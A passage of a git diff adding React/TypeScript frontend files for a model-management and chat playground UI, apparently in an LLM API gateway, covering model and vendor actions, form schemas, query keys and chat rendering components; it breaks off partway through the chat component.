+    <>
+      <SectionPageLayout>
+        <SectionPageLayout.Title>
+          {t(meta.titleKey)}
+        </SectionPageLayout.Title>
+        <SectionPageLayout.Description>
+          {t(meta.descriptionKey)}
+        </SectionPageLayout.Description>
+        <SectionPageLayout.Actions>
+          {activeSection === 'metadata' ? (
+            <ModelsPrimaryButtons />
+          ) : (
+            <Button onClick={() => setCreateDeploymentOpen(true)} size='sm'>
+              <Plus className='h-4 w-4' />
+              {t('Create deployment')}
+            </Button>
+          )}
+        </SectionPageLayout.Actions>
+        <SectionPageLayout.Content>
+          <div className='space-y-4'>
+            <Tabs value={activeSection} onValueChange={handleSectionChange}>
+              <TabsList className='h-auto max-w-full flex-wrap justify-start'>
+                {MODELS_SECTION_IDS.map((section) => (
+                  <TabsTrigger key={section} value={section}>
+                    {t(SECTION_META[section].titleKey)}
+                  </TabsTrigger>
+                ))}
+              </TabsList>
+            </Tabs>
+            {activeSection === 'metadata' ? (
+              <ModelsTable />
+            ) : (
+              <DeploymentAccessGuard
+                loading={deploymentLoading}
+                loadingPhase={loadingPhase}
+                isEnabled={isIoNetEnabled}
+                connectionLoading={connectionLoading}
+                connectionOk={connectionOk}
+                connectionError={connectionError}
+                onRetry={testConnection}
+              >
+                <DeploymentsTable />
+              </DeploymentAccessGuard>
+            )}
+          </div>
+        </SectionPageLayout.Content>
+      </SectionPageLayout>
+
+      <ModelsDialogs />
+      <CreateDeploymentDrawer
+        open={createDeploymentOpen}
+        onOpenChange={setCreateDeploymentOpen}
+      />
+    </>
+  )
+}
+
+export function Models() {
+  return (
+    <ModelsProvider>
+      <ModelsContent />
+    </ModelsProvider>
+  )
+}
diff --git a/new-api/web/default/src/features/models/lib/deployments-utils.ts b/new-api/web/default/src/features/models/lib/deployments-utils.ts
new file mode 100644
index 0000000..ae431c3
--- /dev/null
+++ b/new-api/web/default/src/features/models/lib/deployments-utils.ts
@@ -0,0 +1,24 @@
+export function normalizeDeploymentStatus(status: unknown) {
+  return typeof status === 'string' ? status.trim().toLowerCase() : ''
+}
+
+export function formatRemainingMinutes(mins: unknown) {
+  const n =
+    typeof mins === 'string'
+      ? Number(mins)
+      : typeof mins === 'number'
+        ? mins
+        : NaN
+  if (!Number.isFinite(n)) return null
+
+  const total = Math.max(0, Math.round(n))
+  const days = Math.floor(total / 1440)
+  const hours = Math.floor((total % 1440) / 60)
+  const minutes = total % 60
+
+  const parts: string[] = []
+  if (days > 0) parts.push(`${days}d`)
+  if (hours > 0) parts.push(`${hours}h`)
+  if (parts.length === 0 || minutes > 0) parts.push(`${minutes}m`)
+  return parts.join(' ')
+}
diff --git a/new-api/web/default/src/features/models/lib/index.ts b/new-api/web/default/src/features/models/lib/index.ts
new file mode 100644
index 0000000..c965ee2
--- /dev/null
+++ b/new-api/web/default/src/features/models/lib/index.ts
@@ -0,0 +1,12 @@
+// Query keys
+export * from './query-keys'
+
+// Utilities
+export * from './model-utils'
+
+// Form schemas and transformers
+export * from './model-form'
+
+// Actions
+export * from './model-actions'
+export * from './vendor-actions'
diff --git a/new-api/web/default/src/features/models/lib/model-actions.ts b/new-api/web/default/src/features/models/lib/model-actions.ts
new file mode 100644
index 0000000..b1b1947
--- /dev/null
+++ b/new-api/web/default/src/features/models/lib/model-actions.ts
@@ -0,0 +1,253 @@
+import { type QueryClient } from '@tanstack/react-query'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { updateModelStatus, deleteModel as deleteModelAPI } from '../api'
+import { modelsQueryKeys } from './query-keys'
+
+// ============================================================================
+// Model Status Actions
+// ============================================================================
+
+/**
+ * Enable a model
+ */
+export async function handleEnableModel(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await updateModelStatus(id, 1)
+    if (response.success) {
+      toast.success(i18next.t('Model enabled successfully'))
+      queryClient?.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(response.message || i18next.t('Failed to enable model'))
+    }
+  } catch (error: unknown) {
+    toast.error(
+      (error as Error)?.message || i18next.t('Failed to enable model')
+    )
+  }
+}
+
+/**
+ * Disable a model
+ */
+export async function handleDisableModel(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await updateModelStatus(id, 0)
+    if (response.success) {
+      toast.success(i18next.t('Model disabled successfully'))
+      queryClient?.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(response.message || i18next.t('Failed to disable model'))
+    }
+  } catch (error: unknown) {
+    toast.error(
+      (error as Error)?.message || i18next.t('Failed to disable model')
+    )
+  }
+}
+
+/**
+ * Toggle model status
+ */
+export async function handleToggleModelStatus(
+  id: number,
+  currentStatus: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  if (currentStatus === 1) {
+    await handleDisableModel(id, queryClient, onSuccess)
+  } else {
+    await handleEnableModel(id, queryClient, onSuccess)
+  }
+}
+
+// ============================================================================
+// Model Delete Actions
+// ============================================================================
+
+/**
+ * Delete a single model
+ */
+export async function handleDeleteModel(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await deleteModelAPI(id)
+    if (response.success) {
+      toast.success(i18next.t('Model deleted successfully'))
+      queryClient?.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(response.message || i18next.t('Failed to delete model'))
+    }
+  } catch (error: unknown) {
+    toast.error(
+      (error as Error)?.message || i18next.t('Failed to delete model')
+    )
+  }
+}
+
+/**
+ * Batch delete models
+ */
+export async function handleBatchDeleteModels(
+  ids: number[],
+  queryClient?: QueryClient,
+  onSuccess?: (deletedCount: number) => void
+): Promise<void> {
+  if (ids.length === 0) {
+    toast.error(i18next.t('Please select at least one model'))
+    return
+  }
+
+  try {
+    const deletePromises = ids.map((id) => deleteModelAPI(id))
+    const results = await Promise.all(deletePromises)
+
+    let successCount = 0
+    let failedCount = 0
+
+    results.forEach((res, index) => {
+      if (res.success) {
+        successCount++
+      } else {
+        failedCount++
+        // eslint-disable-next-line no-console
+        console.error(`Failed to delete model ${ids[index]}:`, res.message)
+      }
+    })
+
+    if (successCount > 0) {
+      toast.success(
+        i18next.t('Successfully deleted {{count}} model(s)', {
+          count: successCount,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+      onSuccess?.(successCount)
+    }
+
+    if (failedCount > 0) {
+      toast.error(
+        i18next.t('Failed to delete {{count}} model(s)', { count: failedCount })
+      )
+    }
+  } catch (error: unknown) {
+    toast.error((error as Error)?.message || i18next.t('Batch delete failed'))
+  }
+}
+
+// ============================================================================
+// Batch Status Actions
+// ============================================================================
+
+/**
+ * Batch enable models
+ */
+export async function handleBatchEnableModels(
+  ids: number[],
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  if (ids.length === 0) {
+    toast.error(i18next.t('Please select at least one model'))
+    return
+  }
+
+  try {
+    const enablePromises = ids.map((id) => updateModelStatus(id, 1))
+    const results = await Promise.all(enablePromises)
+
+    let successCount = 0
+    let failedCount = 0
+
+    results.forEach((res) => {
+      if (res.success) {
+        successCount++
+      } else {
+        failedCount++
+      }
+    })
+
+    if (successCount > 0) {
+      toast.success(
+        i18next.t('Successfully enabled {{count}} model(s)', {
+          count: successCount,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+
+    if (failedCount > 0) {
+      toast.error(
+        i18next.t('Failed to enable {{count}} model(s)', { count: failedCount })
+      )
+    }
+  } catch (error: unknown) {
+    toast.error((error as Error)?.message || i18next.t('Batch enable failed'))
+  }
+}
+
+/**
+ * Batch disable models
+ */
+export async function handleBatchDisableModels(
+  ids: number[],
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  if (ids.length === 0) {
+    toast.error(i18next.t('Please select at least one model'))
+    return
+  }
+
+  try {
+    const disablePromises = ids.map((id) => updateModelStatus(id, 0))
+    const results = await Promise.all(disablePromises)
+
+    let successCount = 0
+    let failedCount = 0
+
+    results.forEach((res) => {
+      if (res.success) {
+        successCount++
+      } else {
+        failedCount++
+      }
+    })
+
+    if (successCount > 0) {
+      toast.success(
+        i18next.t('Successfully disabled {{count}} model(s)', {
+          count: successCount,
+        })
+      )
+      queryClient?.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+      onSuccess?.()
+    }
+
+    if (failedCount > 0) {
+      toast.error(
+        i18next.t('Failed to disable {{count}} model(s)', {
+          count: failedCount,
+        })
+      )
+    }
+  } catch (error: unknown) {
+    toast.error((error as Error)?.message || i18next.t('Batch disable failed'))
+  }
+}
diff --git a/new-api/web/default/src/features/models/lib/model-form.ts b/new-api/web/default/src/features/models/lib/model-form.ts
new file mode 100644
index 0000000..09bb6a9
--- /dev/null
+++ b/new-api/web/default/src/features/models/lib/model-form.ts
@@ -0,0 +1,122 @@
+import { z } from 'zod'
+import type { Model } from '../types'
+import { parseModelTags as parseTagsFromUtils } from './model-utils'
+
+// ============================================================================
+// Model Form Schema
+// ============================================================================
+
+/**
+ * Model form validation schema
+ */
+export const modelFormSchema = z.object({
+  id: z.number().optional(),
+  model_name: z.string().min(1, 'Model name is required'),
+  description: z.string().default(''),
+  icon: z.string().default(''),
+  tags: z.array(z.string()).default([]),
+  vendor_id: z.number().optional(),
+  endpoints: z.string().default(''),
+  name_rule: z.number().min(0).max(3).default(0),
+  status: z.boolean().default(true),
+  sync_official: z.boolean().default(true),
+  enable_groups: z.array(z.string()).default([]),
+  quota_types: z.array(z.number()).default([]),
+})
+
+export type ModelFormValues = z.infer<typeof modelFormSchema>
+
+// ============================================================================
+// Vendor Form Schema
+// ============================================================================
+
+/**
+ * Vendor form validation schema
+ */
+export const vendorFormSchema = z.object({
+  id: z.number().optional(),
+  name: z.string().min(1, 'Vendor name is required'),
+  description: z.string().default(''),
+  icon: z.string().default(''),
+  status: z.number().default(1),
+})
+
+export type VendorFormValues = z.infer<typeof vendorFormSchema>
+
+// ============================================================================
+// Form Data Transformation
+// ============================================================================
+
+/**
+ * Transform model to form default values
+ */
+export function transformModelToFormDefaults(model: Model): ModelFormValues {
+  return {
+    id: model.id,
+    model_name: model.model_name,
+    description: model.description || '',
+    icon: model.icon || '',
+    tags: parseTagsFromUtils(model.tags),
+    vendor_id: model.vendor_id,
+    endpoints: model.endpoints || '',
+    name_rule: model.name_rule || 0,
+    status: model.status === 1,
+    sync_official: model.sync_official === 1,
+    enable_groups: model.enable_groups || [],
+    quota_types: model.quota_types || [],
+  }
+}
+
+/**
+ * Transform form data to model create/update payload
+ */
+export function transformFormDataToModelPayload(
+  formData: ModelFormValues
+): Partial<Model> {
+  return {
+    id: formData.id,
+    model_name: formData.model_name,
+    description: formData.description || '',
+    icon: formData.icon || '',
+    tags: formatTagsArray(formData.tags),
+    vendor_id: formData.vendor_id,
+    endpoints: formData.endpoints || '',
+    name_rule: formData.name_rule,
+    status: formData.status ? 1 : 0,
+    sync_official: formData.sync_official ? 1 : 0,
+    enable_groups: formData.enable_groups,
+    quota_types: formData.quota_types,
+  }
+}
+
+// ============================================================================
+// Parsing and Formatting Helpers
+// ============================================================================
+
+/**
+ * Format tags array to string
+ */
+export function formatTagsArray(tags: string[]): string {
+  return tags.filter(Boolean).join(',')
+}
+
+/**
+ * Validate JSON string
+ */
+export function validateJSON(value: string): boolean {
+  if (!value || value.trim() === '') return true
+
+  try {
+    JSON.parse(value)
+    return true
+  } catch {
+    return false
+  }
+}
+
+/**
+ * Validate endpoints JSON
+ */
+export function validateEndpoints(endpoints: string): boolean {
+  return validateJSON(endpoints)
+}
diff --git a/new-api/web/default/src/features/models/lib/model-utils.ts b/new-api/web/default/src/features/models/lib/model-utils.ts
new file mode 100644
index 0000000..4fe7f4b
--- /dev/null
+++ b/new-api/web/default/src/features/models/lib/model-utils.ts
@@ -0,0 +1,177 @@
+import { type TFunction } from 'i18next'
+import { formatTimestampToDate } from '@/lib/format'
+import { getNameRuleConfig, getQuotaTypeConfig } from '../constants'
+import type { NameRule, Model } from '../types'
+
+// ============================================================================
+// Time Formatting
+// ============================================================================
+
+/**
+ * Format timestamp to standard date string (YYYY-MM-DD HH:mm:ss)
+ */
+export function formatTimestamp(timestamp: number): string {
+  if (!timestamp || timestamp === 0) return '-'
+  return formatTimestampToDate(timestamp)
+}
+
+/**
+ * Format relative time
+ */
+export function formatRelativeTime(timestamp: number): string {
+  if (!timestamp || timestamp === 0) return 'Never'
+
+  const now = Date.now()
+  const time = timestamp * 1000
+  const diff = now - time
+
+  const seconds = Math.floor(diff / 1000)
+  const minutes = Math.floor(seconds / 60)
+  const hours = Math.floor(minutes / 60)
+  const days = Math.floor(hours / 24)
+
+  if (days > 0) return `${days} day${days > 1 ? 's' : ''} ago`
+  if (hours > 0) return `${hours} hour${hours > 1 ? 's' : ''} ago`
+  if (minutes > 0) return `${minutes} minute${minutes > 1 ? 's' : ''} ago`
+  return `${seconds} second${seconds !== 1 ? 's' : ''} ago`
+}
+
+// ============================================================================
+// Tags Parsing
+// ============================================================================
+
+/**
+ * Parse tags string to array
+ */
+export function parseModelTags(tags: string | undefined): string[] {
+  if (!tags) return []
+  return tags
+    .split(',')
+    .map((tag) => tag.trim())
+    .filter(Boolean)
+}
+
+/**
+ * Format tags array to string
+ */
+export function formatTagsString(tags: string[]): string {
+  return tags.join(',')
+}
+
+// ============================================================================
+// Endpoints Parsing
+// ============================================================================
+
+/**
+ * Parse endpoints JSON string
+ */
+export function parseEndpoints(
+  endpoints: string | undefined
+): Record<string, unknown> | unknown[] | null {
+  if (!endpoints || endpoints.trim() === '') return null
+
+  try {
+    return JSON.parse(endpoints)
+  } catch {
+    return null
+  }
+}
+
+/**
+ * Format endpoints to display
+ */
+export function formatEndpointsDisplay(
+  endpoints: string | undefined
+): string[] {
+  const parsed = parseEndpoints(endpoints)
+  if (!parsed) return []
+
+  if (typeof parsed === 'object' && !Array.isArray(parsed)) {
+    return Object.keys(parsed)
+  }
+
+  if (Array.isArray(parsed)) {
+    return parsed.map(String)
+  }
+
+  return []
+}
+
+// ============================================================================
+// Name Rule Utils
+// ============================================================================
+
+/**
+ * Get name rule label
+ */
+export function getNameRuleLabelByRule(rule: NameRule, t: TFunction): string {
+  const config = getNameRuleConfig(t)
+  return config[rule]?.label || '-'
+}
+
+/**
+ * Get name rule config by rule
+ */
+export function getNameRuleConfigByRule(rule: NameRule, t: TFunction) {
+  const config = getNameRuleConfig(t)
+  return config[rule] || config[0]
+}
+
+// ============================================================================
+// Quota Type Utils
+// ============================================================================
+
+/**
+ * Format quota types array
+ */
+export function formatQuotaTypes(
+  quotaTypes: number[] | undefined,
+  t: TFunction
+): string {
+  if (!quotaTypes || quotaTypes.length === 0) return '-'
+  const config = getQuotaTypeConfig(t)
+  return quotaTypes.map((qt) => config[qt]?.label || String(qt)).join(', ')
+}
+
+// ============================================================================
+// Model Validation
+// ============================================================================
+
+/**
+ * Validate model name
+ */
+export function validateModelName(name: string): boolean {
+  return name.trim().length > 0
+}
+
+/**
+ * Validate endpoints JSON
+ */
+export function validateEndpointsJSON(endpoints: string): boolean {
+  if (!endpoints || endpoints.trim() === '') return true
+
+  try {
+    JSON.parse(endpoints)
+    return true
+  } catch {
+    return false
+  }
+}
+
+// ============================================================================
+// Model Status Utils
+// ============================================================================
+
+/**
+ * Check if model is enabled
+ */
+export function isModelEnabled(model: Model): boolean {
+  return model.status === 1
+}
+
+/**
+ * Check if model syncs with official
+ */
+export function isModelSyncOfficial(model: Model): boolean {
+  return model.sync_official === 1
+}
diff --git a/new-api/web/default/src/features/models/lib/query-keys.ts b/new-api/web/default/src/features/models/lib/query-keys.ts
new file mode 100644
index 0000000..966cb90
--- /dev/null
+++ b/new-api/web/default/src/features/models/lib/query-keys.ts
@@ -0,0 +1,49 @@
+import type { GetModelsParams, SearchModelsParams } from '../types'
+
+/**
+ * React Query cache keys for models
+ */
+export const modelsQueryKeys = {
+  all: ['models'] as const,
+  lists: () => [...modelsQueryKeys.all, 'list'] as const,
+  list: (filters: GetModelsParams | SearchModelsParams) =>
+    [...modelsQueryKeys.lists(), filters] as const,
+  detail: (id: number) => [...modelsQueryKeys.all, 'detail', id] as const,
+  missing: () => [...modelsQueryKeys.all, 'missing'] as const,
+}
+
+/**
+ * React Query cache keys for vendors
+ */
+export const vendorsQueryKeys = {
+  all: ['vendors'] as const,
+  lists: () => [...vendorsQueryKeys.all, 'list'] as const,
+  list: (filters?: Record<string, unknown>) =>
+    [...vendorsQueryKeys.lists(), filters] as const,
+  detail: (id: number) => [...vendorsQueryKeys.all, 'detail', id] as const,
+}
+
+/**
+ * React Query cache keys for prefill groups
+ */
+export const prefillGroupsQueryKeys = {
+  all: ['prefill-groups'] as const,
+  lists: () => [...prefillGroupsQueryKeys.all, 'list'] as const,
+  list: (type?: string) => [...prefillGroupsQueryKeys.lists(), type] as const,
+}
+
+/**
+ * React Query cache keys for deployments
+ */
+export const deploymentsQueryKeys = {
+  all: ['deployments'] as const,
+  lists: () => [...deploymentsQueryKeys.all, 'list'] as const,
+  list: (filters: {
+    keyword?: string
+    status?: string
+    p?: number
+    page_size?: number
+  }) => [...deploymentsQueryKeys.lists(), filters] as const,
+  detail: (id: string | number) =>
+    [...deploymentsQueryKeys.all, 'detail', id] as const,
+}
diff --git a/new-api/web/default/src/features/models/lib/vendor-actions.ts b/new-api/web/default/src/features/models/lib/vendor-actions.ts
new file mode 100644
index 0000000..12b5626
--- /dev/null
+++ b/new-api/web/default/src/features/models/lib/vendor-actions.ts
@@ -0,0 +1,34 @@
+import { type QueryClient } from '@tanstack/react-query'
+import i18next from 'i18next'
+import { toast } from 'sonner'
+import { deleteVendor as deleteVendorAPI } from '../api'
+import { vendorsQueryKeys, modelsQueryKeys } from './query-keys'
+
+// ============================================================================
+// Vendor Actions
+// ============================================================================
+
+/**
+ * Delete a vendor
+ */
+export async function handleDeleteVendor(
+  id: number,
+  queryClient?: QueryClient,
+  onSuccess?: () => void
+): Promise<void> {
+  try {
+    const response = await deleteVendorAPI(id)
+    if (response.success) {
+      toast.success(i18next.t('Vendor deleted successfully'))
+      queryClient?.invalidateQueries({ queryKey: vendorsQueryKeys.lists() })
+      queryClient?.invalidateQueries({ queryKey: modelsQueryKeys.lists() })
+      onSuccess?.()
+    } else {
+      toast.error(response.message || i18next.t('Failed to delete vendor'))
+    }
+  } catch (error: unknown) {
+    toast.error(
+      (error as Error)?.message || i18next.t('Failed to delete vendor')
+    )
+  }
+}
diff --git a/new-api/web/default/src/features/models/section-registry.tsx b/new-api/web/default/src/features/models/section-registry.tsx
new file mode 100644
index 0000000..c375221
--- /dev/null
+++ b/new-api/web/default/src/features/models/section-registry.tsx
@@ -0,0 +1,36 @@
+import { createSectionRegistry } from '@/features/system-settings/utils/section-registry'
+
+/**
+ * Models page section definitions
+ */
+const MODELS_SECTIONS = [
+  {
+    id: 'metadata',
+    titleKey: 'Metadata',
+    descriptionKey: 'Manage model metadata and configuration',
+    build: () => null, // Content is rendered directly in the page component
+  },
+  {
+    id: 'deployments',
+    titleKey: 'Deployments',
+    descriptionKey: 'Manage model deployments',
+    build: () => null, // Content is rendered directly in the page component
+  },
+] as const
+
+export type ModelsSectionId = (typeof MODELS_SECTIONS)[number]['id']
+
+const modelsRegistry = createSectionRegistry<
+  ModelsSectionId,
+  Record<string, never>,
+  []
+>({
+  sections: MODELS_SECTIONS,
+  defaultSection: 'metadata',
+  basePath: '/models',
+  urlStyle: 'path',
+})
+
+export const MODELS_SECTION_IDS = modelsRegistry.sectionIds
+export const MODELS_DEFAULT_SECTION = modelsRegistry.defaultSection
+export const getModelsSectionNavItems = modelsRegistry.getSectionNavItems
diff --git a/new-api/web/default/src/features/playground/components/message-action-button.tsx b/new-api/web/default/src/features/playground/components/message-action-button.tsx
new file mode 100644
index 0000000..61e55cd
--- /dev/null
+++ b/new-api/web/default/src/features/playground/components/message-action-button.tsx
@@ -0,0 +1,51 @@
+import type { LucideIcon } from 'lucide-react'
+import { Button } from '@/components/ui/button'
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from '@/components/ui/tooltip'
+import { MESSAGE_ACTION_BUTTON_STYLES } from '../constants'
+
+interface MessageActionButtonProps {
+  icon: LucideIcon
+  label: string
+  onClick: () => void
+  disabled?: boolean
+  className?: string
+  variant?: 'default' | 'destructive'
+}
+
+export function MessageActionButton({
+  icon: Icon,
+  label,
+  onClick,
+  disabled = false,
+  className = '',
+  variant = 'default',
+}: MessageActionButtonProps) {
+  const baseStyle =
+    variant === 'destructive'
+      ? MESSAGE_ACTION_BUTTON_STYLES.DELETE
+      : MESSAGE_ACTION_BUTTON_STYLES.BASE
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <Button
+          variant='ghost'
+          size='icon'
+          className={`${baseStyle} ${className}`}
+          onClick={onClick}
+          disabled={disabled}
+          aria-label={label}
+        >
+          <Icon className={MESSAGE_ACTION_BUTTON_STYLES.ICON} />
+        </Button>
+      </TooltipTrigger>
+      <TooltipContent>
+        <p>{label}</p>
+      </TooltipContent>
+    </Tooltip>
+  )
+}
diff --git a/new-api/web/default/src/features/playground/components/message-error.tsx b/new-api/web/default/src/features/playground/components/message-error.tsx
new file mode 100644
index 0000000..5180460
--- /dev/null
+++ b/new-api/web/default/src/features/playground/components/message-error.tsx
@@ -0,0 +1,61 @@
+import { AlertCircle, AlertTriangle, Settings } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { useAuthStore } from '@/stores/auth-store'
+import { Alert, AlertDescription, AlertTitle } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import { MESSAGE_STATUS } from '../constants'
+import type { Message } from '../types'
+
+interface MessageErrorProps {
+  message: Message
+  className?: string
+}
+
+/**
+ * Display error messages using Alert component
+ * Following ai-elements pattern for error handling
+ */
+export function MessageError({ message, className = '' }: MessageErrorProps) {
+  const { t } = useTranslation()
+  const user = useAuthStore((s) => s.auth.user)
+  const isAdmin = user?.role != null && user.role >= 10
+
+  if (message.status !== MESSAGE_STATUS.ERROR) {
+    return null
+  }
+
+  const errorContent =
+    message.versions[0]?.content || 'An unknown error occurred'
+
+  if (message.errorCode === 'model_price_error') {
+    return (
+      <Alert variant='default' className={className}>
+        <AlertTriangle className='text-orange-500' />
+        <AlertTitle>{t('Model Price Not Configured')}</AlertTitle>
+        <AlertDescription className='space-y-2'>
+          <p>{errorContent}</p>
+          {isAdmin && (
+            <Button
+              variant='outline'
+              size='sm'
+              onClick={() =>
+                window.open('/console/setting?tab=ratio', '_blank')
+              }
+            >
+              <Settings className='mr-1 h-3.5 w-3.5' />
+              {t('Go to Settings')}
+            </Button>
+          )}
+        </AlertDescription>
+      </Alert>
+    )
+  }
+
+  return (
+    <Alert variant='destructive' className={className}>
+      <AlertCircle />
+      <AlertTitle>{t('Error')}</AlertTitle>
+      <AlertDescription>{errorContent}</AlertDescription>
+    </Alert>
+  )
+}
diff --git a/new-api/web/default/src/features/playground/components/playground-chat.tsx b/new-api/web/default/src/features/playground/components/playground-chat.tsx
new file mode 100644
index 0000000..95d99a0
--- /dev/null
+++ b/new-api/web/default/src/features/playground/components/playground-chat.tsx
@@ -0,0 +1,273 @@
+import { useEffect, useMemo, useState } from 'react'
+import { cn } from '@/lib/utils'
+import { Button } from '@/components/ui/button'
+import { Textarea } from '@/components/ui/textarea'
+import {
+  Branch,
+  BranchMessages,
+  BranchNext,
+  BranchPage,
+  BranchPrevious,
+  BranchSelector,
+} from '@/components/ai-elements/branch'
+import {
+  Conversation,
+  ConversationContent,
+  ConversationScrollButton,
+} from '@/components/ai-elements/conversation'
+import { Loader } from '@/components/ai-elements/loader'
+import { Message, MessageContent } from '@/components/ai-elements/message'
+import {
+  Reasoning,
+  ReasoningContent,
+  ReasoningTrigger,
+} from '@/components/ai-elements/reasoning'
+import { Response } from '@/components/ai-elements/response'
+import { Shimmer } from '@/components/ai-elements/shimmer'
+import {
+  Source,
+  Sources,
+  SourcesContent,
+  SourcesTrigger,
+} from '@/components/ai-elements/sources'
+import { MESSAGE_ROLES } from '../constants'
+import { getMessageContentStyles } from '../lib/message-styles'
+import { parseThinkTags } from '../lib/message-utils'
+import type { Message as MessageType } from '../types'
+import { MessageActions } from './message-actions'
+import { MessageError } from './message-error'
+
+interface PlaygroundChatProps {
+  messages: MessageType[]
+  onCopyMessage?: (message: MessageType) => void
+  onRegenerateMessage?: (message: MessageType) => void
+  onEditMessage?: (message: MessageType) => void
+  onDeleteMessage?: (message: MessageType) => void
+  isGenerating?: boolean
+  editingKey?: string | null
+  onSaveEdit?: (newContent: string) => void
+  onCancelEdit?: (open: boolean) => void
+  onSaveEditAndSubmit?: (newContent: string) => void
+}
+
+export function PlaygroundChat({
+  messages,
+  onCopyMessage,
+  onRegenerateMessage,
+  onEditMessage,
+  onDeleteMessage,
+  isGenerating = false,
+  editingKey,
+  onSaveEdit,
+  onCancelEdit,
+  onSaveEditAndSubmit,
+}: PlaygroundChatProps) {
+  const [editText, setEditText] = useState('')
+  const [originalText, setOriginalText] = useState('')
+
+  useEffect(() => {
+    if (!editingKey) return
+    const message = messages.find((m) => m.key === editingKey)
+    const content = message?.versions?.[0]?.content || ''
+    // eslint-disable-next-line react-hooks/set-state-in-effect
+    setEditText(content)
+
+    setOriginalText(content)
+  }, [editingKey, messages])
+
+  const isEditing = (key: string) => editingKey === key
+  const isEmpty = useMemo(() => !editText.trim(), [editText])
+  const isChanged = useMemo(
+    () => editText !== originalText,
+    [editText, originalText]
+  )
+  return (
+    <Conversation>
+      {/* Remove outer padding; apply padding to inner centered container to align with input */}
+      <ConversationContent className='p-0'>
+        <div className='mx-auto w-full max-w-4xl px-4 py-4'>
+          {messages.map((message, messageIndex) => {
+            const { versions = [] } = message
+            const isLastAssistantMessage =
+              messageIndex === messages.length - 1 &&
+              message.from === MESSAGE_ROLES.ASSISTANT
+            return (
+              <Branch defaultBranch={0} key={message.key}>
+                <BranchMessages>
+                  {versions.map((version, versionIndex) => (
+                    <Message
+                      className='group flex-row-reverse'
+                      from={message.from}
+                      key={`${message.key}-${version.id}-${versionIndex}`}
+                    >
+                      <div className='w-full min-w-0 flex-1 basis-full py-1'>
+                        {isEditing(message.key) ? (
+                          <div className='space-y-2'>
+                            <Textarea
+                              value={editText}
+                              onChange={(e) => setEditText(e.target.value)}
+                              className='font-mono text-sm'
+                              rows={8}
+                            />
+                            <div className='flex gap-2'>
+                              {/* Save & Submit only makes sense for user messages */}
+                              {message.from === MESSAGE_ROLES.USER && (
+                                <Button
+                                  size='sm'
+                                  onClick={() =>
+                                    onSaveEditAndSubmit?.(editText)
+                                  }
+                                  disabled={isEmpty || !isChanged}
+                                >
+                                  Save & Submit
+                                </Button>
+                              )}
+                              <Button
+                                size='sm'
+                                onClick={() => onSaveEdit?.(editText)}
+                                disabled={isEmpty || !isChanged}
+                              >
+                                Save
+                              </Button>
+                              <Button
+                                size='sm'
+                                variant='outline'
+                                onClick={() => onCancelEdit?.(false)}
+                              >
+                                Cancel
+                              </Button>
+                            </div>
+                          </div>
+                        ) : (
+                          <>
+                            {(() => {
+                              const isAssistant =
+                                message.from === MESSAGE_ROLES.ASSISTANT
+                              const hasSources = !!message.sources?.length
+                              const showReasoning =
+                                isAssistant && !!message.reasoning?.content
+                              const showLoader =
+                                isAssistant &&
+                                !message.isReasoningStreaming &&
+                                (message.status === 'loading' ||
+                                  (message.status === 'streaming' &&
+                                    !version.content))
+                              const showMessageContent =
+                                (message.from === MESSAGE_ROLES.USER ||
+                                  !message.isReasoningStreaming) &&
+                                !!version.content
+
+                              // Extract visible content (remove <think> tags for assistant messages)
+                              const displayContent = isAssistant
+                                ? parseThinkTags(version.content).visibleContent
+                                : version.content
+
+                              const actions = (
+                                <MessageActions
+                                  message={message}
+                                  onCopy={onCopyMessage}
+                                  onRegenerate={onRegenerateMessage}
+                                  onEdit={onEditMessage}
+                                  onDelete={onDeleteMessage}
+                                  isGenerating={isGenerating}
+                                  alwaysVisible={isLastAssistantMessage}
+                                  className='mt-1'
+                                />
+                              )
+
+                              return (
+                                <>
+                                  {/* Sources */}
+                                  {hasSources && (
+                                    <Sources>
+                                      <SourcesTrigger
+                                        count={message.sources!.length}
+                                      />
+                                      <SourcesContent>
+                                        {message.sources!.map(
+                                          (source, sourceIndex) => (
+                                            <Source
+                                              href={source.href}
+                                              key={`${message.key}-source-${sourceIndex}`}
+                                              title={source.title}
+                                            />
+                                          )
+                                        )}
+                                      </SourcesContent>
+                                    </Sources>
+                                  )}
+
+                                  {/* Reasoning */}
+                                  {showReasoning && (
+                                    <Reasoning
+                                      defaultOpen={true}
+                                      isStreaming={message.isReasoningStreaming}
+                                    >
+                                      <ReasoningTrigger />
+                                      <ReasoningContent>
+                                        {message.reasoning!.content}
+                                      </ReasoningContent>
+                                    </Reasoning>
+                                  )}
+
+                                  {/* Loader */}
+                                  {showLoader && (
+                                    <div className='flex items-center gap-2 py-2'>
+                                      <Loader />
+                                      <Shimmer className='text-sm' duration={1}>
+                                        Responding...
+                                      </Shimmer>
+                                    </div>
+                                  )}
+
+                                  {/* Error or Content */}
+                                  {message.status === 'error' ? (
+                                    <>
+                                      <MessageError
+                                        message={message}
+                                        className='mb-2'
+                                      />
+                                      {actions}
+                                    </>
+                                  ) : (
+                                    showMessageContent && (
+                                      <>
+                                        <MessageContent
+                                          variant='flat'
+                                          className={cn(
+                                            getMessageContentStyles()
+                                          )}
+                                        >
+                                          <Response>{displayContent}</Response>
+                                        </MessageContent>
+                                        {actions}
+                                      </>
